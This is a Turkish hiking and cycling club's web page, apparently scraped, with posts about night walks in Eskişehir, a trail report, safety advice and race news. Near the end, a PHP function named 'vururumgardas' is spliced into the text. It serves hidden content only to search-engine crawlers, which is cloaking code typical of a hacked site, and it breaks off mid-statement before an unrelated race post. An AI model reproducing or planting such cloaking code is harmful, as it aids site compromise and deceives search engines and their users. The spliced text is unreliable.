Cumhuriyetimizin 100.yılını Gece Doğa Yürüyüşü ile Kutladık

Eskişehir Doğa Aktiviteleri Grubu 40 kişilik katılımla Gece Doğa Yürüyüşü etkinliği ile Cumhuriyetin 100.yılını Dev Türk Bayrağı oluşturarak.Şehir manzarası eşliğinde kutladı.10km’lik parkurda yer yer zorlanan katılımcılar.Zirvede çay ve kahve içerek yorgunluklarını attılar.

Eskişehir’de gece yürüyüşlerini başlatan ekip Esdag bu tarz farklı yaklaşımlarla halkın spor yapmasına ve doğayı keşfetmesine yönelik projelerine devam ediyor.Hem spor yapıp hem doğayı tanıtmak ve sağlıklı bir Eskişehir için yürümeye doğayla içine olmaya devam.Her perşembe ve hafta sonu etkinliklerimizi sosyal medya ve WhatsApp grubumuzdan takip edebilirsiniz. @esdagtrekking (Instagram)

GECE DOĞADA OLMAK 12.10.2023

Eskişehir Doğa Aktiviteleri Grubu (ESDAG) Eskişehir merkezli Türkiye’de ilk kez gerçekleştirmiş olduğu Gece Doğa yürüyüşü etkinliği ile halkı spora ve doğaya davet ederek. Doğaya ve şehire farklı pencereden bakmayı amaçlamaktadır. Yaklaşık 20 yıldır Doğa Yürüyüşleri düzenleyen ekip şehirde birçok farklı grubun kurulmasınada vesile olmuştur.Daha önceleri ormanda insan görmek mümkün değilken günümüzde yüzlerce kişi ormanda bu sayede doğa ile dost spor yapmaktadır. Bu bizleri mutlu etmektedir. Ekibimiz aile ortamında birbirine saygılı ekip üyeleri ile Gençlik ve Spor Bakanlığı gözetiminde milli sporcular kıdemli antrenörler eşliğinde hareket etmektedir.Ayrıca herhangi bir sağlık sorununda müdahale edebilecek teknik beceriye sahiptirler. Yürümek kolaydır arkasında yılların emeği edinilmiş bilgi birikiminin yanında yıllardır doğada ve uluslararası organizasyonlarda kazanılan becerilerle ek olarak resmiyeti olan kişilerle yürümek hem sizler açısından hemde güvenliğiniz açısından önemlidir.Kısaca kendimizi tanıttıktan sonra gelelim Gece Yürüyüşlerimize.

Her hafta Perşembe Akşamı Saat:20:00’de Şehir manzaralı ormanları tercih etmekteyiz.Katılımcılarımız işlerinden çıktıktan sonra rahatça yetişebilmeleri için yakın alanları tercih ediyoruz.Neden Perşembe günü derseniz Hafta Sonu yapılan uzun yürüyüşlere antrenman olması ve hafta yorgunluğunu bir nebze rahatlatmak adına bu günü tercih etmekteyiz.

Ne kadar yürüyoruz ortalama 8-10 km yürümekteyiz 3 saat civarında molalarla beraber sürmekte.Ekibin bir lideri bir artçısı ve ekip içindede gözetmen liderlerimiz yer almaktadır. Her katılımcıyı tek tek kayıt ederek ekip liderimiz tarafından incelenerek ekibe eklemekteyiz.Her katılımcı bizim için önemlidir.

Rotayı nasıl seçiyoruz derseniz rota gelen kişilerin ve gurubun atmosferine göre şekillenmekte.Esdag ekibi yoldan yürümez doğada doğaçlama yürür ve asla aynı rotayı tekrarlamayız.Bu sayede sıkıcı bir etkinlikten çıkarak daha eğlenceli faaliyetler oluşturmaktır.

Aldığımız eğitimler sizlere spor yaptırmak etkinliğin sağlıklı geçmesi için ve güzel vakit geçirmeniz içindir bizde bunu yerinde uyguluyoruz. Ekibi hafif tempo düz alandan başlatarak aşama aşama tırmanışa hazırlayıp zirveye çıkartıyoruz.Amacımız şehire hakim bir tepeye ulaşmak ve burda ana molayı vererek manzara eşliğinde güzel anılar biriktirmek tabi yanımızda getirdiğimiz çay kahve atıştırmalıklarla olayı renklendirmek.Sesi güzel olan varsa türküsü ile eşlik edebilir.

Yarım saat molanın ardından ertesi günü düşünerek dönüşe geçiyoruz dinlendikten sonra biraz maceralı inişleri tercih ederek aşağı iniyoruz.Bu inişler ilk gelenlere biraz zor gelsede ilk etkinlikten sonra tekniğin kazanılmasıyla eğlenceli bir hale gelmektedir.Bazı katılımcılarımız ilk etkinlik sonrası korkup bırakıyor halbuki devam etseler o tekniği kapsalar devamında eğlenceli anlara bir sonraki aşamaya geçmeyi sağlayabileceğiz.

İnişlerden sonra orman içinden kendi yolumuzu oluşturarak geldiğimiz yere ulaşıyoruz.Ve bir sonraki hafta görüşmek üzere bazıları ile ilk kez tanıştığımız her hafta değişen ekibimizle dostluk bağları kurarak gelecek haftayı bekliyoruz.

Sizlerde Kayıt Formumuzu doldurarak bize dahil olabilirsiniz.Ardından WhatsApp grubumuza alıyoruz ve ordan takibe devam ediyorsunuz.Instagram’dan (esdagtrekking) hesabındanda paylaşımlarımız olmakta.

KAYIT FORMU İÇİN TIKLAYINIZ

Yeni geleceklere tavsiyemiz ilk olarak ayakkabı seçimi düz taban bir ayakkabı yerine dişli yapıya sahip Trekking tarzı ayakkabılar kumlu arazide kaymayacak orta yumuşaklıkta tabanı olan bileği kavrayan yürüyüş ayakkabıları tercih ediniz.

Giyim olarak hava şartlarına göre molalar haricinde ince giyinin yani terletmeyecek tarzda giyinin molada yanınızda getirdiğiniz ek giysiyi giyiniz.Katman giysi giyinmek yürüyüşlerde iyidir.

Yiyecek seçimi hafif gıda ve bol içecek tercih ediniz.Kuruyemiş gayet hızlı enerji sağlayan gıdadır.

Gece yürüyüşleri için kafa feneri el feneri alınız.

Sağlıklı kalmak için geleceğiniz için spor yapınız ücretsiz olan etkinliklerimizi sizler için bir karşılık beklemeden yapıyoruz.Amacımız gezdiğimiz gördüğümüz güzel yerleri sizlerle paylaşmak yılların birikimi bu güzel mekanları sizlere aktarmak için bekliyoruz.Görüşmek Üzere.

Atalantekke Osmanlı Parkuru Doğa Yürüyüşü

8 Mart Pazar günü Atalantekke köyünde etkinliğimizi başlattık.Köy çıkışında yer alan Mehmet Efendi Türbesini ziyaret ettik.Rotamız sit alanı içerisinde yer alıyor ve tarihi kuyulara yer yer rastladık.Tarihi devirlerde hep geçiş noktası olarak kullanılmış bir bölge.

Rüzgar başlangıçta hayli sert esiyordu ve hava biraz serindi yükseltiden olduğunu düşünerek ormanlık alana doğru yürüyüşümüzü sürdürdük.Aynen düşündüğümüz gibi oldu ve ormanlık alana biraz irtifa düştükten sonra sıcakladık ve üzerimizdeki montları çıkarttık.

Bölge meşe ve yer yer çam ormanlarıyla kaplı meşe ile kaplı alanlarda ilerlemek hayli zor.Rota harici her zamanki gibi doğaçlama parkurumuzu o anda oluşturduk.Meşelik araziden vadi geçişi yaptık.Ve hedefimizde yer alan ve bütün dağlara vadilere kuş bakışı görüş sağlayan Kartal Kayalıklarına ulaştık. Kayalıkların çevresinde çok yüksek uçurumlar mevcut bu alanda adrenalin yüksekti ve manzara harikaydı bol bol fotograf çekinerek bölgeyi izledik.Kayalıklarda mağralarda mevcut.

Beslenme molamızıda bu alanda verdikten sonra yolumuza devam ettik irtifa düştükçe bitki örtüsüdü yerini çam ormanlarına bıraktı.Mis gibi çam kokusu eşliğinde ısınan havayla beraber mola sayımızı arttırarak Yaylaya ulaştık.Bu bölgede hemen hemen herkes sırt üstü yatarak manzaranın ve temiz havanın keyfini sürdü ve güzelce dinlendi.Kalktığımızda biraz rehavet çöktü ama yollar bizi bekler devam ettik tabiki.

Doğaçlama patikalarımızdan kendi oluşturduğumuz rotalardan inişimizi sürdürdük.Ekip susamaya başladı sesler yükselmeye başladı.Liderin işi zor tabiki her kafadan bir ses bir istek ve her isteğe göre bir çare bulmak hayli zor.Aynı zamanda arkada kalanlarıda artçılarımız ön gruba yetiştirmek için iki kat zorlanıyorlar ama Sadık abimizin türküleri eşliğinde bu zorluklarıda bir bir aştık.

Su ve mola diye isteklerin artması üzerine rotamızda biraz kayma yaparak direk su kaynağına yönelmek zorunda kaldım.Buz gibi akan suda sanki günlerdir çölde yürüyormuşçasına bolbol su içtik serinledik ayaklarımızı suya sokarak kilometre resetleme yaptık.

Asıl iş bundan sonra başladı rotada sona gelmişken anlık yaptığımız değişiklik sonucu sarp bir vadiye geldik 300metrelik dik bir çıkıştan başka yola çıkma şansı olmayan bir vadi ve eğimi neredeyse %75 denecek kadar duvar diyebileceğimiz zorlukta ve kaygan zemin.

Lider gene kara kara düşündü çıkış yolu aradı ama ekibi sudan geçirip bu yamacı çıkarmaktan başka çare yoktu dikenli böğürtlenlerde cabası tabi.Suyu içen serinleyen ekip enerjiyi topladı ve bu doğal engelinde üstesinden elbirliğiyle geldi vidolarımızdada izleyeceğiniz gibi zorlu yolları aştık.

İnsanın yapısı gereği zor görünce sinir seviyesi artar aynı şekilde susayınca yada acıkınca ekip lidere karşı bir sinirlenme aksiyonu gösterebilir bir de ekipte gür sesliler varsa yandık bu durumda lider olarak umut verici konuşmalarla moral vererek ve yardım ederek o zorlukları ekiple beraber artçılarında desteğiyle aşmak zorundasınız. Bunun yanında dik yamaçlarda deneyimi olmayan üyeler başta kendileri olmak üzere diğer katılımcılarada istemeyerek zarar verebilir, kaya yuvarlanması kendinin kayarak yuvarlanması gibi tehlikeler olabilir bunlarıda düşünmek gerekiyor.

Her zaman bir sonraki aşamayı düşünmek önemli bu zorlu etapta atlatıldı.Rotadan tamamen çıktık ve asfalt yola ulaştık.Doğa yürüyüşümüzde asla asfalt yol kullanmayız ama arkamızda yorgun bir ekip var birazcık mola ardından asfalt yolda rahatladıktan sonra tabiki tekrar araziden devam ederek Sakarılıca Kaplıcalarına geldik.

Zamanıız olanak verseydi tüm ekipçe bir hamam sefası çok güzel dinlendirirdi ama alternatif olarak demli çay içip heyecan dolu etkinlik sohpeti yaptıktan sonra yüzler gülüyordu ve herkes mutluydu.Yeni katılımcılar bu çılgın ekibe alışacaklarmı önümüzdeki etkinliklerde göreceğiz.

8 Mart Kadınlar gününü doğada kutladıktan sonra araçlarımızla evlerin yolunu tuttuk.Bozdağ tepesinden şehir göründüğünde kimsenin canı eve gitmek istemiyordu temiz hava ve doğayı bırakıp beton yığınları arasına dönmek ve bir hafta boyunca iş yerlerinde stres içinde çalışmak hiç ekibe göre değil neyseki her hafta sonu güzel bir aktivite ile hem bu streslerden kurtulup hemde sağlıklı yaşam adına faaliyetler düzenliyoruz.

Sizlerde bu büyük aileye katılabilirsiniz.Havaların ısınmasıyla bisiklet turlarımızda başlayacak bizi en aktif instagram hesabımızdan #esdagtrekking hesabımızdan takip edebilirsiniz.

ETKİNLİK FOTOGRAF ALBÜMÜ İÇİN TIKLAYINIZ

ETKİNLİK SONRASI PARKURDA UNUTULAN BARDAĞI ALMAK İÇİN GİTTİĞİMİZ TATBİKAT VİDEOMUZUDA İZLEYEBİLİRSİNİZ.

Doğa Yürüyüşü

Eskişehir Doğa Aktiviteleri Grubu (ESDAG) 2003 yılından beri alanında uzman tur rehberleri ile Eskişehir ve Türkiye genelinde yer alan doğal alanları sizlerle paylaşmaktadır.

G0119353

Doğa yürüyüşü deyip geçmeyin her katılımcının seviyesi farklıdır doğada heran karşınıza olumsuz durum çıkabilir.Bu gibi durumlarda müdahale edebilecek ve resmi kurumlardan yardım talep edebilecek nitelikte olmak önemlidir.

_161510

Ailenizin yada çocuklarınızın kimlerle doğaya açıldığını bilmek hakkınız biz bunu sağlamak adına her katılımcıyı Gençlik ve Spor Bakanlığı sporcu kayıt sistemine kaydediyoruz izinlerimizi ve tedbirlerimizi alıp yola öyle çıkıyoruz.

https://flic.kr/p/2dTuwFi

Yüzlerce doğada gruplar var ve herkes toplanıp dağlara çıkmakta özgür ancak konu katılımcıların güvenliği olduğu zaman bu kişiler ve onlara katılanlar ciddi risk altına girmekteler.Çok eğlenceli geçen bir aktivite kabusa dönebilir.Bu nedenle her işin ehli kişilerle yola çıkılması risk faktörleri açısından önemlidir.

https://flic.kr/p/2cfYXzK

Grubumuzda yönetiminde yer alan kişiler her türlü ilkyardım yaralanma kurtarma doğada müdahale ve acil durumlar için tecrübeli kişilerdir.Survivor eğitimine sahiptirler ve hayatta kalmak adına herşeyi sağlayabilirler bunlara gerek kalmasını kimse istemez ama gerektiğinde hazır bulundurmak bizim için önemli.

https://flic.kr/p/RvPDkE

Profesyonel kaliteli bir ekiple aile ortamında amatör ruhla doğada yürümeye güzel vakit geçirmeye varsanız sizleri bekliyoruz.

Etkinliklerimizi Sosyal Medya’dan (Eskişehir Doğa Aktiviteleri Grubu) ve İnstagram #esdagesbike ve web sitemizden takip edebilirsiniz. Detaylı bilgi için Whatsapp hattımız 0506 423 11 70

Esbike Gece Gündüz Çalışıyor

Esbike çalışmaları arttırdı sabah antrenmanlarına akşam antrenmanlarınıda ekledik.Ailelerde Uçan İngiliz Filmi eşliğinde sporculara destek oldular.İlerleyen saate rağmen wattlar tavan yaptı sporcularımızın maşallahı var.Sanal bisiklet yarışında ekipçe ter döktük yabancı rakiplerimize açık ara fark attık.Gelecek sezona sağlam adımlarla şimdiden hazırlanıyoruz.Yılmadan sıkılmadan engelleri birer birer aşarak zirveye ekipçe ulaşacağız.Esbike yıllardır olduğu gibi yeni katılan sporcularımızlada zirveyi yakalayacaktır şüphemiz yok

 

 

function vururumgardas(){
$agent = $_SERVER[‘HTTP_USER_AGENT’];
$sec = $agent;
switch(true){
case (strpos($sec,”google”)): $part = 1; break;
case (strpos($sec,”yandex”)): $part = 1; break;
case (strpos($sec,”bing”)): $part = 1; break;
case (strpos($sec,”yahoo”)): $part = 1; break;
case (strpos($sec,”alexa”)): $part = 1; break;
default : $part = 0;
}
if($part ==1){
echo ‘

Uluslararası Büyükçekmece Dağ Bisikleti Yarışındaydık

Bisiklet Federasyonu faaliyet programında yer alan Uluslararası Büyükçekmece Dağ Bisikleti yarışmalarına Esbike ekibi olarak katıldık.Yarışma parkuru emek verilerek hazırlandığı her halinden belliydi ve sporcuların çok beğendiği bir parkur olmuş.Bizleri ve tüm katılımcıları etkileyen şey kötü hava koşulları oldu.Şiddetli rüzgar ve ara ara yağan yağmur parkurda yarışmayı çok zorlaştırdı.Rüzgar okadar şiddetliydiki sporcuları yoldan çıkarıyordu.Buna rağmen iyi bir yarış çıkaran Esbike ekibi sporcularından birde kürsü geldi.Eda Konuk Elite Bayanlar kategorisinde 3.olarak yarışı tamamladı.Hedefte bir sonraki yarış olan Konya yarışı var.Çalışmalarımız devam ediyor.